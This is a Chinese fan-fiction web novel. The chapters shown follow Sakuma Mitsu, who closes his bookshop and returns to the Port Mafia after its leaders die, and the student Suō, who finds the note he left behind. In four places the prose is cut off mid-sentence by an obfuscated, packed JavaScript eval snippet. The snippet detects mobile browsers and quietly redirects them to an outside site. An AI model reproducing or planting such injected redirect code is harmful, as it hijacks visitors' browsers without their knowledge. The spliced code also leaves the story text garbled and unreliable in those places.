在量体温之前,他也不知道自己有没有恢复到正常体温。多动几步,他的脑子又开始变得像锅里正在冒泡的浆糊。 其实他也不习惯用刀。勉强割开绑着二人的绳子,樱瞪着那两个看起来是罪魁祸首的人,像只下一秒会张嘴咬上去的猫,让深可见骨伤口帮那两人长长记性。 苏枋的反应没樱那么大,兴许是见过信天翁的原因。 你们怎么来了,他轻声问。 凝视着眼前人因为生病而微红的脸颊,苏枋隼飞同样低声回答,“我和樱路过书店,发现你不在店里。” 来到弥津先生家门口,发现家门大开,外面停着一辆外地牌照的车。 车上布满歪七竖八的雨痕。落了一层灰之后又被小雨淋过,就会变得如此脏兮兮的,驾驶位前方的挡风玻璃尤其肮脏,雨刷器刮出了两个扇形。整辆车最干净的竟然是车牌,连车标都被雨水洗不干净的厚厚灰尘掩盖。 是他不够小心,没养成警惕“杀手”的习惯,导致他和樱双双被擒,在“黑手党人”的正面强攻下毫无还手之力。 樱不了解弥津先生的真实来历,但看这两个人在讨论发烧该吃什么药、“万一高烧晕厥要不要送医院”,还没有恶意打扰呆在卧室的弥津先生,多少能意识到这两个人对弥津先生没有敌意——只是对他们有“敌意”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702896|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把无辜卷入此事的二人从沙发上扶起来,佐久间弥津轻轻拍了拍二人的肩膀,哑着嗓子说道,“抱歉。他们是我的同事……戒心有点大。先回家去吧。” 如今已经是高中三年级生的人比几年前遇事要冷静得多。 就算心里一百个不愿意,樱遥也只能和同伴在老板的目送下离开,又有些奇怪地发觉那个金发男人有些眼熟。 这不可能。老板的同事他见过不少,但记忆里没人有这副长相。 一个黑头发戴墨镜的,一个脾气不好的蓝发男人,还有一位在鼓捣电脑的少女……一见面就绑人的只有这两个家伙! 远道而来的二人丝毫不在乎那两个各怀心思的少年心里对他们有什么看法。 房屋的主人送走无辜被绑的少年们,给自己倒了杯热水。 青年捧着水杯坐到沙发上,那双没有情绪波动的玫红色眼瞳望向他们,一言不发。 他们知道佐久间弥津要他们的解释。 “原本中也打算亲自和你说。但他好巧不巧,又出差了。” 所以,信天翁自告奋勇替他们的最高干部跑腿。 “难道不是你强行要跑这一趟?你只是代替了一通电话。你用不着馋那三天假期和加班费吧。” 被公关官拆穿心思,又被佐久间弥津盯着,信天翁自己一点也不尴尬,坐在一边,哼着佐久间弥津听不懂的曲调。 事不关己地哼了几句,信天翁听到佐久间弥津问他,“是什么话,你还没说。” “让某个硬要跟着我来的人解释吧。” 信天翁把解释的工作甩给友人。 “我刚好没任务,也没通告,时间充裕。” “可你一路都在吐槽我像开了一辆在泥里滚过的车。” 为阻止二人滔滔不绝地说下去,伴随着噼里啪啦乱响的电流声,一道垂直于地面的电流幕在二人中间升起。 捧着水杯喝水的人闭着眼,面容平静,一副不想看到他们两个的样子。 坐在佐久间弥津右边沙发的金发青年清了清嗓子。 正当佐久间弥津以为此人要对他解释中也先生的意思,却听到青年说,你认识我吗。 ……嗯? 公关官各种视线毫不陌生。 且不说他在谈判桌上的“工作”,只谈他明面上作为电影演员,常年要在闪光灯下接受数不尽的视线审判,对于这道略显困惑的视线,他接受良好。 佐久间弥津绝对早已忘记,四年前他们在总部见过。在工作中他们算同事。佐久间弥津那时只在国内部门呆了极短的时间,但一个照面的机会总是有的。 原来我的长相很难记吗。 佐久间弥津对他轻轻摇了摇头,看样子没听出他话语里的调侃。 “中也想问你能不能提前一段时间回去,但他还没下定决心‘命令’你这么做,犹豫了一个月。听说你答应别人,要在这里呆到明年?” “是。”佐久间弥津回答说。如果是这种事,果然一通电话就能解决掉。 为了刚才的那两个学生? 佐久间弥津读不懂青年的笑容,但仍然坦诚回答,“是。横滨发生了什么吗。” 公关官的话给了佐久间弥津一剂定心丸,“没有。” 只是风向不太对。 “岂止是不太对,”信天翁姿势歪七扭八地仰躺在沙发上,在心里把佐久间弥津当成了正儿八经的同事,“那些敢和组织叫板的家伙,简直奇怪。” 佐久间弥津安静地听他们讲述横滨的情况。 右手边的人突然停下了讲述。他略微不解地望向在他记忆里并没有留下太深刻印象的青年。 “抱歉,”公关官对他露出一个满怀歉意的笑,“我们忘了你还在生病。” “没关系……请继续。” 52.最后的都市传说 临近傍晚,他的脚步开始变得沉重,体温有重新烧起来的趋势。 替他的上司来传话的二人将这个过程当成了高压工作环境之下忙里偷闲的“度假”。 这两个人都喜欢问东问西。他相信以信天翁的个性可能是真的好奇,但另一个人……当佐久间弥津知道金发男人还有一份电影演员的工作时,他就对此人产生了不得了的畏惧。 公关官方才正问他,有没有看过他出演的电影。 他嚯地站起身,把同在客厅的两人吓了一跳。 看二人下意识的动作,果然还是有在戒备他,也许今天是来试探他的态度的。 而他的态度是,随便吧。 中也先生是否信任曾经离开过组织的他,不是这两个人说了算的。 “中也先生只要有命令,我会立刻回去。”他说。 但很抱歉,他很少看电影。而且,他现在要出门买烤肉的食材了。 信天翁震惊于气色依旧显露病态的家伙这种时候居然还想着出门。手头没有急事做,生病的人就该养病吧,为了尽快恢复,食欲是可以忍耐的东西。 不过同样难以理解的事他也在欧洲部门的那群家伙身上见识过。有人会在公务外出前特地花一天一夜亲手改装公务用车,还有人会在去俄罗斯的飞机上主动安炸弹。可他们只是暂时使用国内部门的东西,被改装过的载具得他本人处理!本人!其他人看都看不懂! 这是欧洲部门传统的特立独行吗? 眼前的青年说走就走,不在乎他们的去留,大有“帮我看下门”的意思。 组织里最有名的谈判专家遇到这一幕也无计可施。 匆匆回卧室换好衣服的人带着钥匙出门,没有闲心关心今日不请自来的二人对他的举动作何感想。 房门在二人眼前合上。他们在沉默中面面相觑。 果然不能单纯从流言蜚语和他人的评价中了解一个“陌生人”。流言蜚语太过夸大其词,他人的评价又容易太过主观。没有亲眼所见,有些事谁也说不明白。 “我早说了,他是个教未成年给枪上膛的家伙。”能正经到哪去? 公关官不可置否。 他从衣服口袋里摸出一张电影票,放在客厅的桌上,“回程的时候再坐你开的车,真是煎熬。” “没办法咯,难不成你想走路回去。” 像漫才似的一你句我一句,二人在佐久间弥津提着购物袋回家前就驱车离开。 至于他们是在回横滨的路上,还是有其他的秘密任务需要去做,那不是佐久间弥津要思考的问题。 他拿起那张看样子是送给他的电影票,对着天花板的灯仔细观察。 很显眼,用这种简易的方法是发现不了什么的。 提着购物袋进到厨房,他依旧盯着电影票。注意力放在写着影厅时间还有座位号、场次的数字,记下这些信息,他转身出了厨房,在书房翻到了几年前为书店搞装修设计图时买来只用过几次的尺子。他量了影院印章的边框,认为这是简单的摩斯密码。 运用组织里经典的数字加密方式和更经典的摩斯电码,借用一张被设计过的电影票传递给了他。 其实有更复杂的加密方式,难道在担心离开组织多年的他忘记了那些知识? 他靠着橱柜喘了口气。出门嗅过新鲜空气,身体才缓缓对他发出报警。饥饿、身体酸痛还有四肢乏力,他太久没有生过这样的病了。不严重,但格外招人烦。 * 佐久间弥津没有把那两人私下里来找过他的事告诉水落。在他看来,那两个人的目的远比他们说出来的话更深入且复杂。 病好后,他回到店里,打开了闭门三日的书店。 望着满店的书,他给梅宫打去了电话。电话那头的人还是那副无比乐观的爽朗派头,哪怕他只能听得到声音,也想象得到梅宫身边整天都洋溢着欢乐。 他事无巨细地安排好,然后对着电脑屏幕上打开的电影海报陷入了极其虚无的沉默。 那个男人的确是电影演员,还在那个圈子里有相当高的知名度。 他按照电影票上的剧作名字搜到了公关官本人拍摄的影片宣传海报。妆容不浓,一眼就能认出是谁,没有看向镜头,而是扭头望向了海报的一角——也就是拍摄时身后墙壁上的窗户。 其实他也不是很懂视觉艺术。 听到外面的动静,他抬头,看到那天遭受那般无妄之灾的少年拉开门来到了他面前。 樱是一个人来的,没有和苏枋一道。看那副表情,他已经知道樱迫不及待地要问什么了。 “老板,你……” “我以前,是黑手党组织的成员。” 被他称为同事的家伙们,都与他一样。“一样”的意思是,他们都是世俗意义上的坏人,干过足以被送进监狱的罪行,并且背负着不可言说的过去。加入犯罪组织的人不会说自己是干净的。 少年没有太过震惊,一瞬的惊讶过后,脸上只剩纠结和挣扎。 他起身去隔间冰箱拿出最后一瓶冰可乐递给樱,耐心等少年想通关于他的一切。 像是泄了气,独自来找他的少年问他,你的病好了吗。 “嗯。只是发烧,没别的。” 少年又安静了,但用力捏着可乐瓶,手被刚从冰箱拿出来的冷饮冻得微微发红也不肯放下。 “知道我的‘工作’,让你很生气吗。” 曾经信任过犯罪组织成员的事,的确会让人感到耻辱。 “当然不是!我只是……” 樱说着说着卡壳了。 一怒之下拧开冰可乐猛喝了一口,动作之大让他忍不住担心樱是不是接受不了这种事实的刺激。 “我昨天,遇到那个家伙了。” 佐久间弥津没想到樱口中的人是谁。 “……棪堂哉真斗。” 他啊。怎么了。 樱脸上的表情多少有点恼羞成怒的味道。 “他说,你们之前一起解决过很棘手的对手。” “他没有讲前因后果?” “没有说很多……”少年的语气听起来极其别扭,“他说,他和焚石矢要走了。” 走了?去哪。 “我不知道。他们要去‘外面’,找‘像你一样的人’。”那两个人想做什么,谁能说得准。 “那家伙本来要到店里找你,可你不在。”于是找上了他。 樱遥看着老板倒吸一口气,像是听到了什么骇人听闻的故事。 ……胆子还真是大。但佐久间弥津转念一想,年纪还小又时间宽裕的人——比如梅宫——就该看看外面的世界,才不会让自己成长为目光短浅的无趣大人。 直到樱遥离开,他都没有注意老板面前的电脑屏幕上有多少震撼人心的东西。 临时打开的电影剧照之下的界面,是佐久间弥津从公关官留下的秘密网址中打开的东西。 算不上复杂的界面,纯色,全日文,右上角可以调节语言,色彩也可以自己调,但他不会想不开调成英文或者意大利语。 界面展开时挂在界面上的三语标题叫“旗会”,听起来是某种集会。 人脸识别登录,此外没有别的登录方式。 一旦登录,就意味着他在身份上已经回到了港口黑手党。 等苏枋他们毕业后再回横滨只是他的任性,他的一厢情愿,而他的“同事”们和上司都大方地愿意给他一个履行诺言的机会。 即使他暂时不明白“旗会”意味着什么,但他能把界面功能搞懂。好比说,他的名字旁边有个图标在闪光,这是在提醒他,有人借用这个内部网站联系他。 【你好呀,你的病怎么样了?】 这是谁。在联系人名称位置显示的成员真名,他从未听说过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708338|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【这个程序能显示是否已读哦】 ……好有压力的功能。 【请问,你是谁】 【连我都不记得了吗?我以前帮你看过病呢】 所以,是谁?帮他看过病……是组织里的医生?可是他对这个人名毫无印象。 【经常叫代号的习惯就是会让人忘记别人的本名呢】 【别人都叫我外科医生,或者直呼医生】 ……说得没错。提到本名,他当真想不起关于此人的一点信息。 可说到会被单独称呼为“外科医生”的成员,那不就只有一个人了吗。真抱歉,他只记得这个代号,代号背后那名医生的形象立刻从他的脑海深处浮起。 【你知道旗会是什么吗】 【抱歉,没了解过】 他没猜错的话,这是本部才会有的说法吧。欧洲部门里从未有这种概念。 外科医生说,在他回本部工作前,还有许多时间了解。 此后半个月,他每天的看店日常变得更加繁重。时不时就会有人在内网上联系他,包括中也先生。 有权限登录这个与众不同网站的人不多不少,但除了几个逐渐让他把真名和代号统一的人,其他听都没听过的名字图标自始至终都是灰暗状态。 当然……在发生深秋时节的那件事前,他从来都把各位“同事”和他的闲聊当做日复一日的提醒。 提醒他再过几个月,到第二年的樱花季,他就要启程回横滨,离开和他相处多年的周边邻居,此生都不一定会和风铃的学生们再相见。 …… 可是此番情景和四年前太过相像,他甚至怀疑这四年是自己做的一场持久又真实的梦。也许他从来没离开过横滨,也没离开过港口黑手党。 同样让人猝不及防,同样让他必须丢下手头的一切,不计得失,不计后果,以最快的速度回到横滨。 森先生死于“意外”,太宰治死于“自杀”。 为什么两个人都死得这么毫不讲理。 既不会让一部三流影片一跃成为获得国际电影节奖项的超一流电影,也不会是乏善可陈的小说里唯一有亮点的情节。 港口黑手党是被诅咒了吗,他问。 来接他回横滨的优笑得十分苦涩,“谁知道呢,弥津大人。” “没救回来?” 镜优犹豫地摇摇头,“那种死法,治疗型异能力者也很难救回来吧。” “……什么时候走。” “半个小时以后。” 他拿起黑伞,低声应道,“好。” * 苏枋隼飞终生都会记得这一分钟。 青年站在马路的另一边,那道平静似水的视线穿过脚步匆忙的人群和被风吹斜的雨丝,准确无误地被他捕捉到。 青年静静地看着他,一如他们初见的时刻。 弥津先生撑着那把黑伞在大雨中嵬然不动,像一尊旧世纪教会先知的等身塑像。 身上不是常见的浅色衣装,而是一身压抑的黑。他极少见弥津先生穿黑色,与午夜游船头顶的无光夜空一般暗,一丝月光都没有从漆黑的夜空中透出。 马甲上的暗金色单排扣被认真地系好,与外套同色系的黑灰色领带上点缀着几颗银白的星型绣纹。 黑色的外套没有系扣,衣摆垂下,不因雨中的微风而动摇。 弥津先生的嘴角没有弧度,但他明白那不是冷漠。若不是那双玫红色的眼睛时不时眨动一下,他险些以为自己出现了幻觉。 和他隔着街道和人群的青年拿起手机按了几下,几乎同一时间,他收到了新消息提醒。 他有种即将失去什么的无措。连忙打开手机,只看到弥津先生发来的一个显然早就编辑好的消息。 【再见】 他迅速抬头,可青年的身影已经消失在喧哗的人群和雨幕后,仿佛从未出现过。 53.便签,咖啡,和两把钥匙 人生是无法预料的。 就像刚买的冰淇淋有可能因为堆得太高而掉落大半,新买的三明治可能会被从天而降的鹰叼走,也像蹲下系鞋带却恰好躲过身后劫匪横扫的一棍,去咖啡厅点咖啡和甜品因为正好是第999位客户而获得免单奖励。 半分钟前,他只是在路上一如往常等待同伴,顺便站在屋檐下欣赏片刻雨景。 现在他却无法追上一个道别的人。 他连忙拨通熟稔于心的号码,仅仅过了几秒,通话里传来的冰冷提示音告诉他对方已关机。 他打过去多少次,都是关机。 只能站在雨里,盯着什么都看不见的道路尽头,怅然若失。 ……千真万确,这次和以往不一样。 这一次弥津先生不会再回来了,只留下一句让人心脏狂跳的留言。这是他最讨厌的告别。 脑海中意识到的东西好似冬日冷风呼呼吹着,冻结了他的身体。直至同伴来到他身边,问他今天怎么没有在约定好的地方。 他回头,对着同伴扬起笑脸,“抱歉……遇到了一些比较在意的事。” * 弥津先生留在这里的所有都在慢慢消失。最初的几天,他打出的电话只能收到手机关机的提醒,而差不多一个月之后,电子音由手机关机变成了号码目前未被使用。 书店没有贴彻底闭店的提示,但他知道这次的停业不会有尽头了。 店里的书没有带走,只带走了电子设备。没有人处理店里的东西,也没人打扫,空荡荡的纯白色书桌上很快落了一层肉眼可见的灰。 这样寂寥的日子日复一日,河流不会等到能再度淌过它的人。 他站在店门口,心头颤动。 他进不去书店。但弥津先生是不是忘记了,他手里还有一把弥津先生家里的备用钥匙。弥津先生没问他要回,而他由于自己的私心也没有实话实说。此刻那把钥匙就放在校服外套的衣兜里。 书店的无限期停业,让每个从其门口经过的人都忍不住多看几眼,而他身边的同伴们都是藏不住事的人。 同他一起经过店外,望着店门的樱眼神太复杂。从那一刻起他便明白,樱或许也知道什么。 “嗯。后来我去找过老板,老板说他是……”樱的声音越来越小,“也许他回家了吧,或者找到了更好的工作。开书店的这几年,老板一直在亏钱。亏太多钱,所以老板要工作一段时间挣到可以继续亏的钱……什么的?” 说到最后,樱遥自己都觉得猜测得太离谱。他面前的同伴却因为他的话笑了起来。 “如果事实真是这样,其实还不错呢。” 假如真是这样就好了。 今年的第一场雪落下时,他在店外遇到了有段时间没见的梅宫哥。毕业之后,梅宫哥在全国各地四处跑,但每隔一段时间,总是会回来。 梅宫哥扭过头来看他,和他打招呼。见他想问什么,梅宫哥先一步解释说,“佐久间先生拜托我替他处理店里的书。” 他问,是什么时候拜托的。 “挺早了。一个半月以前,佐久间先生打电话给我,说了他可能要提前离开的事,过了半个月,他说自己要走了。” 梅宫一对青年的离开毫不意外。 毕竟佐久间先生的“工作”性质相当特殊。可佐久间先生为人坦诚负责,相当令人敬佩。能和这样的人打交道,不也算难得一见的奇遇吗。 一同与梅宫一站在店外的人思索着,计算时间。 一个半月以前……比弥津先生离开的日子早半个月,但恰好是那两个二话不说就绑人的“同事”来的那段日子。 努力将这几件事串联起来,他问,“弥津先生有说要怎么处理吗?” “是说过。” 佐久间先生让他拿走,分给邻居,或者自留,又或者找人把店里的书搬回风铃去。 ……搬回风铃? “是哦。”梅宫一透过玻璃,仔细打量店里满当当的书架,“再怎么说,风铃都是一所‘学校’嘛。” 虽然偏差值看不下去,可每年都能招到学生。这些书,佐久间先生带不走,又不想浪费,搬回风铃是最合适的方式了。 “我们没有钥匙,怎么进去。”他问,总不能像强盗一样把门锁砸开或者卸掉。 这个好说。 “赶紧让开,小子们——救世主在这里哦。” 橘琴叶拿着一串钥匙站到两个熟人背后,埋怨道,“佐久间先生都离开一个月了,你怎么才回来。” 绿萝咖啡厅和这条“河流”——她问了其他朋友,查到佐久间先生书店的名字其实是意大利语里的“河流”一词——也算得上邻居了。 “说起来,佐久间先生去绿萝咖啡厅的那天……” “怎么了?” 橘琴叶上前一步开锁,语气夸张地说,“超——帅气的!” 幸好她没有素颜见顾客的习惯,不然那天就太丢脸了。 那位先生衣装正式得像要参加商业会议,着实把她吓了一跳。她不懂那些奢侈得要定制的西服,但佐久间先生和他的朋友进店的时候,身上浑然天成的压迫感把店里其他客人吓得鸦雀无声。 若不是稍微了解一点佐久间先生的个性,她恐怕也是噤声的一员。 “他说他要回去工作,店的钥匙拜托我之后交给你。” 认真倾听眼前二人讲话的少年此刻插话问道,“他是说,要回去工作?” “嗯。他是这么说的,‘工作’。”第一次用这把钥匙的橘琴叶对那位先生的话确定无疑,她还追问,要怎么走呢,这里的交通没有大城市发达。“佐久间先生说,坐飞机走。听起来是很紧急的工作呢。” 店门打开,他们三人进到店里,空气中有股灰尘特有的味道。 要按书店主人的安排,把足有几百本书通通送到风铃高中,算不上难事,但是,橘琴叶考虑得很周到,“我们难道不应该整理一份清单吗。”搬书去学校很简单,但整理书籍清单稍微有些费劲。 他听着二人的交流,推开隔间的门,进去看了一眼。隔间里只剩一张小桌子和没插电的冰箱,其他地方和那张白色的书桌一样宽敞——空荡荡的。弥津先生是什么时候把隔间里的东西都收拾干净的?他百思不得其解。 他打开冰箱前,已经预料到了里面是什么样子。 果然,什么都没了。 没插电的冰箱不会因为拉开冰箱门而亮灯,在昏暗的房间里,冰箱里同样十分“干净”,连冷气的残留都没有。 “清单我来整理,毕竟佐久间先生是专门把这件事托给我的。” “好吧……我下班之后来帮忙。” 听到隔间外面的对话,他摸着衣兜里的钥匙,做出了一个大胆而任性的决定。但在此之前,请先让他也一起,把书店的书籍清单整理出来。 * 弥津先生总不能一点念想都不给他留,那也太残忍了,就算弥津先生是黑手党组织成员,这么无情的事,弥津先生对他也能做得出来吗。 书店的书被清空了。 全都被送到学校之前,梅宫哥问他要不要自留几本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713534|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“有些书还是很有意思的。”为了学习成绩而看书,和自己感兴趣而看书,是两码事。 于是他拿走了两本曾经借过的书,讲述的是历史上一位名人的经历。弥津先生说,自从被买进店里,这两本书只有他借过。既然如此,就让他变成这些书的唯一拥有者吧。 他把书带回自己家里,在柜子里划出一片放书的位置。 在拿破仑的故事里,有这么一个时期。拿破仑组建军团远征埃及,将占领与胜利写满沿途,然而,仍有反抗者们与其坚持不懈地斗争。 军团的处境陷入艰难之际,拿破仑却因为一些原因秘密离开。 历史上记载,拿破仑出于权力斗争的需要,返回了政局动荡的法国。 ……两件事本质不同,但他居然觉得,自己恐怕稍微能够理解当时被丢在埃及的远征军们。 毕竟他们都算被“丢弃”之人。 只不过,具体情况不一样。被“丢弃”的士兵心里满是绝望和愤怒,而他的心情没有这么负面。 其实他还在期待。期待能有一天和弥津先生以更好的方式再会。 他站在曾经住过的房屋外,手放在衣服口袋里,紧紧握着那串钥匙。不经允许进门,他很抱歉,但如果他不这么做,万一错过了什么呢。 即使这只是一串钥匙,但也是他所拥有的最与众不同的东西。关于这里的回忆,全都凝结在这串钥匙上。 假如未来知道他擅自进入自己家的弥津先生会生气——他巴不得如此,这意味着他找到了干脆决绝离开的人——也无所谓,谁让他是个“图谋不轨”的人呢。 门锁在钥匙的拧转下发出声响,他屏住呼吸,轻轻打开了房门。 幸好…… 他松了一口气。 幸好,和被弥津先生要求清空的书店不同,家里还什么都没有变。他心情欢快地进到客厅,环顾一周,竟然没有发现有哪里变得和上次来时不同。 先他细细检查过书房和厨房,原来消失的显示屏和其他设备被搬回了家里。他意外发现家里的冰箱还摆着两瓶罐装咖啡,看生产日期是三个月以前。为什么偏偏留两瓶咖啡在冰箱,而且是没插电的冰箱。 他没看懂弥津先生的用意。 他最后才进到自己住过不止一天的那间卧室。 但弥津先生离开的那天曾出现在他身上的症状又一次侵袭了他,他花了很久才找回自己的呼吸。 因此,他在床边呆站了好一阵,才拿起拿起摆在枕头旁边的便签,用目光仔细描摹这一行简短的字。 【想住就住】 ……弥津先生分明就是知道钥匙还在他手上,他的小心思早被弥津先生看穿了。 这是弥津先生买下的房产,他是知道的。 他拿着便签回到客厅,重新把所有的房间都检查一遍。可惜除了两瓶咖啡和便签,别的什么发现都没有。 但他够高兴了,弥津先生果然不是那么无情的人。 他唯独可惜弥津先生没办法在这里生活。 这里没有人会因为弥津先生的过去而戴上有色眼镜看他。每一个同弥津先生相处过的人,看到的都是不同以往的东西,见过弥津先生最真实的一面,也不会畏惧与抵触。 他带着便签和咖啡回了家,不仅是弥津先生家里的钥匙,书店的钥匙也落到了他手上——他请梅宫哥交给他保管,这个听起来有点过分的要求被答应了。 弥津先生离开一事在他心头留下的阴霾被一扫而光。 他在心中默默决定,未来,他们一定要“再会”。 54.空降的准干部 横滨是个什么样的城市,没人说得清。但它此刻是静谧的,空气是凝固的。 乘着干燥空气降落的直升机再度起飞,飞机上的人还有其他命令执行。 飞机没有按理降落在停机坪,毕竟那里现在被封锁了。 从飞机上走下的青年身上带着同类特有的气息,偏偏那张脸让所有见者感到陌生。独自离开直升机的青年手里拿着一把伞,甚至于,他浑身上下看起来只带了这一样东西。 或许衣兜里有别的?比如一张最大面额的纸币,一板胶囊药物。 青年的步伐缓慢而坚定,走向大楼正门。 港口黑手党成员的行动彻夜不息,为了解答逝世的年轻首领给他们留下的巨大问号。 四年了,佐久间弥津又回到了这里,而且是在同样的情况下。 港口黑手党首领的命运难道都是这样吗? 前首领森鸥外,死亡。 太宰治,死亡。 在森先生之前的那位首领,更是早已身亡。 真不知道是他疯了,还是这个世界疯了。 认不出青年的身份,自然要将其拒之门外,尤其是在首领坠楼身亡,而最高干部——不,是他们新的首领——又和异能特务科起了冲突因而缺席的现在。 只有站在青年面前的人才能看清青年眼中深如水渊的悲戚。 组织的势力范围不断扩大,成员的更新换代也从未停止。不过,四年来加入组织的成员认不出青年的身份情有可原,但总能认出组织里最优秀的谈判专家。 金发青年没说太多,仅有一句,“看来我们都错了,佐久间君。” 横滨的风向是不对。可惜他们没人想得到,最后的关键是那个人的死。 是。 持伞的青年低声回答道。 这是道让人极其惊讶的嗓音。声音的底子想必相当不错,但却像被一把火烧过的草原般失去生机,只剩烈火焚烧过后的荒芜。身形挺拔,长相称得上一句清秀,可说话时面无表情的模样,会让人忍不住怀疑这是否是个冷漠无情的人。然而这样的人生着一双色彩艳丽的眼睛,让人过目不忘,容易深陷其中。 假如这名嗓音奇怪的青年当真是组织的一员,地位甚至同另一位相仿,他们怎么可能不认识。 银发青年问,“请告诉我,我现在能做什么。” 首领的死亡发生距现在不到24小时。空缺的位置无人觊觎,因为他们都知道那属于谁。 “中也不在,六个小时前被任命为干部的钢琴家暂时不能离开总部。” 公关官的心情也很糟糕。然而更可悲的是他们有处理类似“意外”的“经验”。他示意身边的人把箱子递出去。 佐久间弥津继续沉默着接过。 “和侦探社起正面冲突前,中也把准干部的任命给了你。箱子里有一部手机和耳机,开机之后,会有人随时和你联系。” “……好。”佐久间弥津侧过身,回头望着眼前的人,问道,“你去哪。” 公关官对他苦笑一声。“我去异能特务科,尝试把不听劝大闹了一场的首领带回来。” 二人就此在大楼门口分别。 * 对港口黑手党的成员而言,组织高层人员的变动只有一点奇怪之处。 新任的两名干部他们都比较熟悉,并不陌生,而他们的新首领,在他们心中早已是下一任首领候补的级别。两名新任干部里,一位常年驻扎欧洲部门,即便升为干部,也只管理欧洲部门的事务,他们本部的人没意见。而一位是组织里颇有名望和资历的成员,和另一位比起来,能力和名望只高不低。 这是大部分重要变动。说是为组织的稳定,暂时任命也好,还是未来会一直固定的永久任命也罢,没人会对这种任命有异议——因为,说到底,这和以前的工作关系根本就是一模一样嘛。 但有一个人在其中格格不入。 简直是“空降”。在前首领逝世的第二日白天,乘坐直升机赶回来的银发青年,在回归当日,从组织最出名的谈判专家手里受领了准干部的任命。 接下来,一连六日,手里的人不停换,有普通成员,也有异能力者,青年自己则连轴转。 据在此人手里做过几次事的人说,这位准干部每日的休息时间不足四个半小时。 话少,嗓音嘶哑,气质冷淡。无论当天有没有下雨,手里总拿着一把黑色的长柄伞。有空休息的时候,不去别的地方,就住在总部附近的酒店里,那也是组织的产业。 这位准干部的房号是11A02。A栋11层第二间。如此特殊的时候,这一整层都只有准干部一位客人。 没有亲近的副手成员,但和其他高层走得很近。因为有“准干部”的权力,得以在短短半天组建歼灭部队。百余名武斗派成员在其手中流转,这个人数几乎为武斗派成员总数的五分之一。 无法预估的实力和丰富的经验让被派去的成员愿意闭嘴听命令做事。摸不着头脑的成员,对这位空降的准干部颇有微词的成员,在见识到其神乎其技的异能力时通通闭上了嘴。 有人挠着头,一脸为难评价说这位准干部像一辆满油但不知为什么拆掉车标的顶配超跑。 世界上所有的犯罪组织都是格外看中个人能力的地方。只要能将自己的价值和能力展露出来,就能在这样的世界有一席之地。 差不多一周的时间,已经足够失去前首领又暂时失去现首领的港口黑手党向黑暗丛林中白日做梦的挑战者们宣告,港口黑手党时刻处于鼎盛时期,不管其遭遇何种冲击。 虽然混乱暂时告一段落,佐久间弥津却迷茫了起来。 凌晨两点,喧嚣被时间切割成支离破碎的银屑,漆黑不见一丝星光的夜空沉沉地压下。 站在走廊巨大的落地窗前,俯瞰四年不见的故乡,疲惫感在这时席卷了他全身。 离开钢琴家的办公室,他一直站在这儿,站了足有半小时,腿脚都变得僵硬。 他正眺望着横滨的夜景,走到他身边的青年问他在想什么,他坦诚地说,什么都没想。 和优一样有戴墨镜习惯的自来熟青年笑了两声,“我还以为你在想待会儿住哪。听说你这几天一直在住酒店?” “嗯。” 他在横滨没有“家”。多年没见的血亲数年前就搬离了横滨,曾经住过的房子也在随地区拆迁后修成了新的公寓楼。 暂时住酒店没什么不习惯的,房费从他的工资上扣。 “那不至于,组织会给你报销的。”青年调侃道,“有人不给你报销 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么和在外面不一样了?你那天拿枪对准我的时候,可不是这副谦卑友好又礼貌的态度。真吓人,难道这是你的‘工作人格’,而那是你的‘生活人格’吗?” 把工作和生活分开,不是应该的吗。 “但你也分得太开了吧!” 你可以把“旗会”理解为组织里的青年互助会。但和一般意义上的互助会不一样。成员年龄在二十五岁以下,要有能力支撑组织的“未来”才行。 “我们几个里年纪倒数第二小的人也早已超过二十五岁了。” 倒数第一小的那个,现在是首——领——哦。 是时候找下一代的成员了。 另有一人离开钢琴家的办公室,走近电梯,信天翁也适时向组织里年轻的新任“准干部”告别。 “其他事过几天去找钢琴家聊,他是我们之中的‘领袖’。好了,我得下班了——还有,之后的任务,公关官让我提醒你别忘了。” 嗯。 他不会忘记的。 等电梯的青年朝他看了过来,右眼有一道疤痕贯穿而过。 55.给伞充电的准干部 * “他一直在用异能力。” 冷血摸出一根烟点燃,却没有抽。 什么? 信天翁表示自己没听懂,需要和他一起下班的冷血再解释一遍。 “佐久间弥津,他一直在使用异能力。” “……真的假的?”信天翁惊讶道,“他在对谁用。” “不知道。”冷血回答说。 